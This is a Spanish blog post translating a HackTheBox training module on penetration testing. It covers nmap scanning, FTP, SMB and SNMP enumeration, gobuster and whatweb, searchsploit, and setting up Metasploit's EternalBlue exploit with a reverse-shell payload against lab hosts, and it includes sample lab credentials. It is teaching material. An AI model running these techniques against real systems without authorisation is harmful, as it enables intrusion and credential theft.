Cómo empezar: principios de la seguridad de la información (segunda parte)

Esta es la continuación del anterior post del blog con la segunda parte de la traducción no oficial del módulo «Cómo empezar». En esta segunda parte se verán temas como el escaneo de servicios, cómo atacar servicios de red o la enumeración web, entre otros.

Escaneo de Servicios

Estamos listos para ir un paso más allá y comenzar a explorar la máquina. Lo primero que necesitamos es identificar el sistema operativo y cualquier servicio disponible que esté ejecutándose. Un servicio es una aplicación corriendo en un ordenador que realiza algunas funciones útiles para otros usuarios o máquinas. Llamamos a estas máquina especializadas que alojan servicios útiles «servidores» en lugar de estaciones de trabajo, permitiendo a los usuarios interactuar con sus servicios y utilizarlos. En lo que estamos interesados es en los servicios que tienen alguna mala configuración o una vulnerabilidad. En lugar de llevar a cabo las acciones esperadas como parte del servicio, nos interesa ver si podemos coaccionar al servicio para que realice alguna acción involuntaria que ayude a nuestros objetivos, como ejecutar un comando de nuestra elección.
A cada ordenador se le asigna una IP, lo que permite que estén identificados de forma única en una red. Los servicios que se encuentren corriendo en esos ordenadores se pueden asignar por un número de puerto que hace el servicio accesible. El puerto 0 está reservado en TCP/IP y no se usa para mensajes TCP o UDP. Si algo intenta enlazar con este puerto (como un servicio), se enlazará con el siguiente disponible por encima del puerto 1024, ya que el puerto 0 se usa como un puerto «comodín».
Para acceder a un servicio de forma remota, necesitamos conectar usando la dirección IP correcta y el número de puerto, y usar un lenguaje que el servicio comprenda. Como el examen de los 65535 puertos de forma manual sería demasiado laborioso, existen herramientas que automatizan este proceso y escanean el rango de puertos por nosotros.

Nmap

Supongamos que queremos realizar un escaneo básico a la IP 10.129.42.253. Por defecto, Nmap solo escaneará los 1000 puertos más comunes. Aquí tenemos el resultado:

user@htb[/htb]$ nmap 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:07 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds

Por defecto, Nmap realizará un escaneo de los puertos TCP, a no ser que especifiquemos lo contrario. Bajo la cabecera PORT podemos ver los puertos disponibles. Debajo de STATE vemos el estado en que se encuentran dichos puertos. En este caso están todos abiertos, pero podemos encontrarlos en estado filtered, lo que quiere decir que puede haber un firewall que solo permite el acceso a los puertos desde direcciones específicas. La cabecera SERVICIO nos dice el nombre del servicio que se encuentra normalmente en ese puerto. Sin embargo, el escaneo por defecto no nos dirá qué es lo que está escuchando en ese puerto. Hasta que no le digamos a Nmap que interactúe con el servicio e intente revelarnos información que lo identifique, no sabremos si hay un servicio distinto corriendo en él.
Conforme nos familiaricemos iremos viendo que algunos puertos se asocian comúnmente con Windows o con Linux. Por ejemplo, el puerto 3389 se asocia por defecto a Servicios de Escritorio Remoto, excelente indicador de que se trata de una máquina Windows. Veamos un escaneo más avanzado para obtener más información acerca de nuestro objetivo.
Podemos usar el parámetro -sC para especificar a Nmap los scripts que debe utilizar para intentar obtener más información en detalle. El parámetro -sV permite realizar un escaneo de las versiones. Así, Nmap tomará las huellas de los servicios en el sistema objetivo e identificará el protocolo de cada servicio, nombre de la aplicación y versión. El escaneo de versión se apoya en una base de datos de más de 1000 firmas de servicios. Finalmente, con -p- le decimos que queremos escanear los 65535 puertos TCP:

user@htb[/htb]$ nmap -sV -sC -p- 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:18 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 65530 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Feb 25 19:25 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: PHP 7.4.3 - phpinfo()
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-25T21:21:51
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.68 seconds

Esto nos devuelve mucha información. Vemos que las opciones -sC y -sV incrementan la duración del escaneo, pero también realizan muchas más comprobaciones. Podemos ver que esta vez tenemos una cabecera VERSION, la cual nos muestra la versión del servicio y el sistema operativo, si es posible identificarlo.
Es más, sabemos que el SO es Ubuntu. Las versiones de aplicaciones pueden ayudar a revelar el SO objetivo. Tomemos OpenSSH como ejemplo. Podemos ver que la versión reportada es OpenSSH 8.2p1 Ubuntu 4Ubuntu0.1. Si inspeccionamos un poco llegamos a esta página:
https://launchpad.net/ubuntu/yakkety/+source/openssh/+changelog
En ella vemos que la versión de lanzamiento tomaba el formato 1:7.3p1-1ubuntu0.1. Actualizando nuestra versión a este formato, obtenemos 1:8.2p1-4ubuntu0.1. Una búsqueda rápida de esta versión revela que se incluye en Ubuntu Linux Focal Fossa 20.04.

Otra búsqueda rápida revela que la fecha de lanzamiento de este OS fue el 23 de abril de 2020:

De todos modos, esta técnica no es fiable al 100% ya que se pueden instalar paquetes de aplicación más recientes en versiones más antiguas del SO. El escaneo por script -sC hace que Nmap reporte la cabecera http-server-header y el título http-title para cualquier web alojada en el servidor web. El título de la página web PHP 7.4.3 – phpinfo() indica que se trata de un archivo PHPInfo, el cual suele crearse manualmente para confirmar que PHP ha sido instalado satisfactoriamente. El título también revela la versión de PHP, la cual podemos buscar si es vulnerable.

Scripts de Nmap

Especificando -sC ejecutaremos los scripts designados por defecto contra un objetivo, pero hay casos en lo que se requiere un script específico. Podemos buscar los scripts por su nombre de la siguiente forma:

user@htb[/htb]$ locate scripts/citrix

/usr/share/nmap/scripts/citrix-brute-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps.nse
/usr/share/nmap/scripts/citrix-enum-servers-xml.nse
/usr/share/nmap/scripts/citrix-enum-servers.nse

La sintaxis para ejecutar un script de Nmap es nmap –script -p . Los scripts de Nmap son una forma genial de mejorar la funcionalidad de nuestros escaneos, y la inspección de las opciones disponibles nos beneficiará.

Atacando servicios de red

Banner Grabbing

Es una técnica muy útil para seguir el rastro de un servicio de forma rápida. A menudo un servicio se identificará a sí mismo mostrando un banner una vez se ha iniciado la conexión. Nmap intentará obtener estos banners si usamos la sintaxis nmap -sV –script=banner . También podemos intentarlo manualmente con Netcat:

user@htb[/htb]$ nc -nv 10.129.42.253 21

(UNKNOWN) [10.129.42.253] 21 (ftp) open
220 (vsFTPd 3.0.3)

Esto revela que la versión de vsFTPd en el servidor es la 3.0.3. También podemos automatizar el proceso usando el motor de scripting de Nmap:

nmap -sV --script=banner -p21 10.10.10.0/24

FTP

Es importante familiarizarse con FTP, ya que es un protocolo estándar y este servicio puede contener datos interesantes en algunas ocasiones. Un escaneo con Nmap del puerto FTP por defecto (el 21) revela la instalación de vsftpd 3.0.3 identificada anteriormente. También revela que la autenticación anónima está habilitada y que hay un directorio pub disponible:

user@htb[/htb]$ nmap -sC -sV -p21 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-20 00:54 GMT
Nmap scan report for 10.129.42.253
Host is up (0.081s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Dec 19 23:50 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

Conectemos al servicio usando el comando ftp:

user@htb[/htb]$ ftp -p 10.129.42.253

Connected to 10.129.42.253.
220 (vsFTPd 3.0.3)
Name (10.129.42.253:user): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
227 Entering Passive Mode (10,129,42,253,158,60).
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Feb 25 19:25 pub
226 Directory send OK.

ftp> cd pub
250 Directory successfully changed.

ftp> ls
227 Entering Passive Mode (10,129,42,253,182,129).
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            18 Feb 25 19:25 login.txt
226 Directory send OK.

ftp> get login.txt
local: login.txt remote: login.txt
227 Entering Passive Mode (10,129,42,253,181,53).
150 Opening BINARY mode data connection for login.txt (18 bytes).
226 Transfer complete.
18 bytes received in 0.00 secs (165.8314 kB/s)

ftp> exit
221 Goodbye.

Podemos ver que FTP soporta comandos comunes como cd o ls y nos permite descargar archivos con el comando get. La inspección del archivo descargado login.txt revela credenciales que podríamos usar para acceder al sistema:

admin:ftp@dmin123

SMB

Server Message Block es un protocolo de máquinas Windows que proporciona distintos vectores para movimientos vertical y lateral. Se pueden encontrar datos sensibles, incluyendo credenciales, en los archivos que comparte, y algunas versiones de SMB pueden ser vulnerables a exploits RCE como EternalBlue. Nmap tiene varios scripts para enumerar SMB, como por ejemplo el smb-os-discovery.nse, el cual interactuará con el servicio SMB para extraer la versión del sistema operativo.

user@htb[/htb]$ nmap --script smb-os-discovery.nse -p445 10.10.10.40

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-27 00:59 GMT
Nmap scan report for doctors.htb (10.10.10.40)
Host is up (0.022s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: CEO-PC
|   NetBIOS computer name: CEO-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-27T00:59:46+00:00

Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds

En este caso, el huésped corre una versión legacy de Windows 7, y podríamos realizar una enumeración más detallada para confirmar si es vulnerable a EternalBlue. Metasploit tiene varios módulos para EternalBlue que se pueden usar para validar la vulnerabilidad y explotarla. Podemos ejecutar un escaneo contra nuestro objetivo de cara a obtener más información acerca del servicio SMB. Podemos comprobar cómo el host corre un núcleo Linux, la versión de Samba 4.6.2 y tiene el nombre GS-SVCSCAN:

user@htb[/htb]$ nmap -A -p445 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:29 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).

PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 4.6.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-25T21:30:06
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   111.62 ms 10.10.14.1
2   111.89 ms 10.129.42.253

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

Compartidos

SMB permite a los usuarios y administradores compartir directorios y hacerlos accesibles a otros usuarios de forma remota. A menudo estos directorios contienen archivos con información sensible como contraseñas. Una herramienta que puede enumerar e interactuar con los compartidos por SMB es smbclien. El modificador -L especifica que queremos recuperar una lista de los recursos compartidos disponibles en el host, mientras que -N suprime la petición de la contraseña.

user@htb[/htb]$ smbclient -N -L \\\\10.129.42.253

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	users           Disk      
	IPC$            IPC       IPC Service (gs-svcscan server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

Esto revela que no hay usuarios compartidos que no sean los que están por defecto. Intentemos conectar como usuario invitado:

user@htb[/htb]$ smbclient \\\\10.129.42.253\\users

Enter WORKGROUP\users's password: 
Try "help" to get a list of possible commands.

smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

smb: \> exit

El comando ls devuelve un mensaje de acceso denegado, lo que indica que el acceso como invitado no está permitido. Probamos de nuevo con las credenciales del usuario bob (bob:Welcome1):

user@htb[/htb]$ smbclient -U bob \\\\10.129.42.253\\users

Enter WORKGROUP\bob's password: 
Try "help" to get a list of possible commands.

smb: \> ls
  .                                   D        0  Thu Feb 25 16:42:23 2021
  ..                                  D        0  Thu Feb 25 15:05:31 2021
  bob                                 D        0  Thu Feb 25 16:42:23 2021

		4062912 blocks of size 1024. 1332480 blocks available
		
smb: \> cd bob

smb: \bob\> ls
  .                                   D        0  Thu Feb 25 16:42:23 2021
  ..                                  D        0  Thu Feb 25 16:42:23 2021
  passwords.txt                       N      156  Thu Feb 25 16:42:23 2021

		4062912 blocks of size 1024. 1332480 blocks available
		
smb: \bob\> get passwords.txt 
getting file \bob\passwords.txt of size 156 as passwords.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Hemos obtenido acceso al recurso compartido users usando las credenciales y ahora podemos acceder al archivo passwords.txt, el cual se puede descargar con el comando get.

SNMP

La comunidad SNMP proporciona información y estadísticas acerca de un router o un dispositivo, ayudándonos a obtener el acceso al mismo. Las cadenas de caracteres public o private por defecto del fabricante rara vez se cambian. En SNMP v1 y v2c, el acceso se controla usando una cadena en texto plano, y si conocemos el nombre, podemos obtener acceso a él. El cifrado y la autenticación sólo se añadieron a SNMP v3. Se puede obtener mucha información de SNMP. El examen de los parámetros de proceso puede revelar credenciales a pasar en la línea de comandos, las cuales pueden haber sido utilizadas para servicios externos, dada la prevalencia de la reutilización de las contraseñas en entornos empresariales. La información del router, los servicios vinculados a interfaces adicionales y la versión del software instalado también pueden ser revelados.

user@htb[/htb]$ snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0

iso.3.6.1.2.1.1.5.0 = STRING: "gs-svcscan"
user@htb[/htb]$ snmpwalk -v 2c -c private  10.129.42.253 

Timeout: No Response from 10.129.42.253

Se puede usar una herramienta como onesixtyone para hacer un ataque de fuerza bruta a las cadenas de la comunidad usando un diccionario de cadenas comunes como dict.txt, el cual se incluye en el repositorio de GitHub de la herramienta.

user@htb[/htb]$ onesixtyone -c dict.txt 10.129.42.254

Scanning 1 hosts, 51 communities
10.129.42.254 [public] Linux gs-svcscan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64

Enumeración Web

Cuando realizamos un escaneo de servicios, a menudo accederemos a servidores web ejecutándose en los puertos 80 y 443. Las aplicaciones web hospedadas en estos servidores a menudo proporcionan una considerable superficie de ataque y un objetivo muy valioso en un pentesting. La enumeración web apropiada es vital, especialmente cuando una organización no expone demasiados servicios o esos servicios están parcheados correctamente.

Gobuster

Después de descubrir una aplicación web, es vital comprobar si podemos descubrir archivos o directorios ocultos en el servidor web que no deberían accederse de forma pública. Podemos usar herramientas como ffuf o GoBuster para realizar esta enumeración. A veces encontraremos funcionalidades ocultas o páginas/directorios que expongan datos sensibles que pueden llevar a un acceso a la aplicación web o incluso a ejecución de código remoto en el servidor web.

Enumeración de archivos/directorios

GoBuster es una herramienta que permite realizar fuerza bruta a los DNS, vshost y directorios. La herramienta, además, puede enumerar buckets de AWS S3 públicos. Realizaremos un escaneo simple como ejemplo usando el diccionario dirb common.txt:

user@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.121/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/11 21:47:25 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/12/11 21:47:46 Finished
===============================================================

Un código de estado HTTP 200 revela que la petición del recurso tuvo éxito, mientras que un código HTTP 403 indica que el acceso al recurso no está permitido. Un código 301 indica que se está siendo redireccionado, lo que no es un caso de error. Es importante familiarizarse con los códigos de estado HTTP.

El escaneo se completó con éxito e identifica una instalación de WordPress en /wordpress. WordPress es el CMS (Gestor de Contenido) más usado y tiene una enorme superficie de ataque. En este caso, visitando http://10.10.10.121/wordpress en un navegador nos revela que WordPress está en el modo instalación, lo que nos permitirá conseguir la ejecución de código remoto (RCE) en el servidor.

Enumeración de subdominios DNS

También pueden ser importantes los recursos alojados en subdominios, como paneles de administración o aplicaciones con funcionalidades adicionales que pueden explotarse. Podemos usar GoBuster para enumerar subdominios disponibles de un dominio dado usando el modificador dns para especificar ese modo. Lo primero que debemos hacer es clonar el repositorio de SecLists de GitHub, el cual contiene listas muy útiles para fuzzing y explotación.

Instalar SecLists

user@htb[/htb]$ git clone https://github.com/danielmiessler/SecLists
user@htb[/htb]$ sudo apt install seclists -y

Después, añadimos un servidor DNS como 1.1.1.1 al archivo /etc/resolv.conf. Como objetivo, seleccionamos el dominio inlanefreight.com, un sitio ficticio.

user@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Domain:     inlanefreight.com
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
2020/12/17 23:08:55 Starting gobuster
===============================================================
Found: blog.inlanefreight.com
Found: customer.inlanefreight.com
Found: my.inlanefreight.com
Found: ns1.inlanefreight.com
Found: ns2.inlanefreight.com
Found: ns3.inlanefreight.com
===============================================================
2020/12/17 23:10:34 Finished
===============================================================

Este escaneo revela subdominios interesantes que podemos examinar más adelante.

Trucos para la Enumeración Web

Vamos a ver algunos trucos adicionales para la enumeración que pueden ayudarnos a completar máquinas en HTB y en el mundo real.

Banner Grabbing / Cabeceras de Servidores Web

Anteriormente hemos hablado sobre la técnica del banner grabbing para propósitos generales. Las cabeceras de los servidores web proporcionan una buena perspectiva de lo que hay alojado en dicho servidor. Pueden revelar el framework en uso, las opciones de autenticación o si el servidor tiene mal configuradas las opciones de seguridad. Podemos usar cURL para recuperar información de la cabecera del servidor desde la línea de comandos. cURL es esencial en nuestra caja de herramientas para pentestings, te animo a familiarizarte con sus opciones.

user@htb[/htb]$ curl -IL https://www.inlanefreight.com

HTTP/1.1 200 OK
Date: Fri, 18 Dec 2020 22:24:05 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <https://www.inlanefreight.com/index.php/wp-json/>; rel="https://api.w.org/"
Link: <https://www.inlanefreight.com/>; rel=shortlink
Content-Type: text/html; charset=UTF-8

Otra herramienta muy útil es EyeWitness, la cual se puede utilizar para tomar capturas de pantalla de aplicaciones web objetivo, seguirles el rastro e identificar posibles credenciales por defecto.

Whatweb

Podemos extraer la versión de los servidores web, frameworks soportados y aplicaciones usando la herramienta de línea de comandos whatweb. Esta información puede ayudarnos a localizar las tecnologías en uso y comenzar a buscar vulnerabilidades potenciales.

user@htb[/htb]$ whatweb 10.10.10.121

http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]

Whatweb es una herramienta muy útil y tiene muchas funcionalidades para automatizar la enumeración de aplicaciones web en una red.

user@htb[/htb]$ whatweb --no-errors 10.10.10.0/24

http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]
http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service]
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge]

Certificados

Los certificados SSL/TLS son otra fuente de información muy valiosa si se utiliza HTTPS. Si vamos a https://10.10.10.121/ y miramos el certificado, podemos ver que revela ciertos detalles, entre ellos la dirección de email o el nombre de la empresa. Esto se podría usar para llevar a cabo un ataque de phishing, en el caso de que ello esté incluído en el alcance de la asesoría.

Robots

Es habitual que los sitios web contengan un archivo robots.txt, cuyo propósito es dar instrucciones a las arañas de los motores de búsqueda sobre qué recursos se pueden indexar y cuáles no. El archivo robots.txt puede proporcionar información valiosa como la localización de archivos privados y páginas de administración. En este caso, podemos ver cómo robots.txt incluye dos entradas deshabilitadas:

Si navegamos a http://10.10.10.121/private en el navegador, nos mostrará la página de acceso de administradores de HTB:

Código fuente

También es importante comprobar el código fuente de cualquier página web por la que naveguemos. Podemos acceder a él pulsando CTRL + U en el navegador. Este ejemplo revela cómo un comentario del desarrollador contiene credenciales para una cuenta de pruebas, lo que puede usarse para acceder al sitio web.

Exploits Públicos

Una vez identificados los servicios que corren en los puertos que hemos encontrado con Nmap, lo primero es ver si alguna de las aplicaciones/servicios tienen exploits públicos. Éstos se pueden encontrar tanto para aplicaciones web como para otras aplicaciones que corran en los distintos puertos, como SSH o ftp.

Encontrando Exploits Públicos

Muchas herramientas nos pueden ayudar a buscar exploits públicos para las distintas aplicaciones y servicios que podemos encontrar durante la fase de enumeración. Una de ellas es Google, buscando el nombre de la aplicación con la palabra exploit para ver si aparece algún resultado:

Una buena herramienta para este propósito es searchsploit, la cual se puede utilizar para buscar vulnerabilidades/exploits públicos para cualquier aplicación. Se puede instalar con el comando:

user@htb[/htb]$ sudo apt install exploitdb -y

Después usamos searchsploit para buscar una aplicación específica por su nombre así:

user@htb[/htb]$ searchsploit openssh 7.2

----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                               | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service                                                                                              | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                                                      | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                                                                         | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation                         | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                                                     | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                                                         | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                                                                                        | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------

También podemos utilizar bases de datos online para buscar vulnerabilidades, como Exploit DB, Rapid7 DB o Vulnerability Lab.

Metasploit

El framework Metasploit (MSF) es una herramienta excelente para pentesters. Contiene exploits prefabricados para muchas vulnerabilidades públicas y proporciona una manera sencilla de usarlos contra objetivos vulnerables. MSF tiene otras características como:

  • Ejecución de scripts de reconocimiento para enumerar hosts remotos y objetivos comprometidos.
  • Scripts de verificación para probar la existencia de una vulnerabilidad sin comprometer el objetivo.
  • Meterpreter, el cual es una gran herramienta para conectarse a shells y ejecutar comandos en los objetivos comprometidos.
  • Muchas herramientas de post-explotación y pivotaje.

Veamos un ejemplo básico de búsqueda de un exploit. Para ejecutar Metasploit usamos el comando msfconsole:

user@htb[/htb]$ msfconsole


      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.0.16-dev                          ]
+ -- --=[ 2074 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion

Una vez corriendo, podemos buscar nuestra aplicación objetivo con el comando search exploit. Por ejemplo:

msf6 > search exploit eternalblue

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
<SNIP>
EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 

Truco: La búsqueda puede realizarse aplicando filtros complejos como search cve:2009 type:exploit. Echadle un vistazo a los distintos filtros que pueden ayudaros.
Hemos encontrado un exploit para este servicio. Podemos usarlo copiando su ruta y con el comando USE:

msf6 > use exploit/windows/smb/ms17_010_psexec

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

Antes de ejecutar el exploit, necesitaremos configurar sus opciones. Para ver las opciones disponibles para configurar, usaremos el comando show options:

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                             yes       The Target port (TCP)
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as

...SNIP...

Cualquier opción con el campo Required configurada como yes tiene que ser configurada para que el exploit funcione. En este caso, solo encontrarmos dos opciones a configurar: RHOSTS, donde hemos de poner la IP de nuestro objetivo, y LHOST, donde pondremos nuestra IP o nuestro dispositivo de red en este caso. Las podemos configurar con el comando set:

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST tun0
LHOST => tun0

Una vez configuradas ambas opciones, podemos iniciar la explotación. Sin embargo, antes podemos ejecutar una comprobación para asegurarnos de que el servidor es vulnerable:

msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
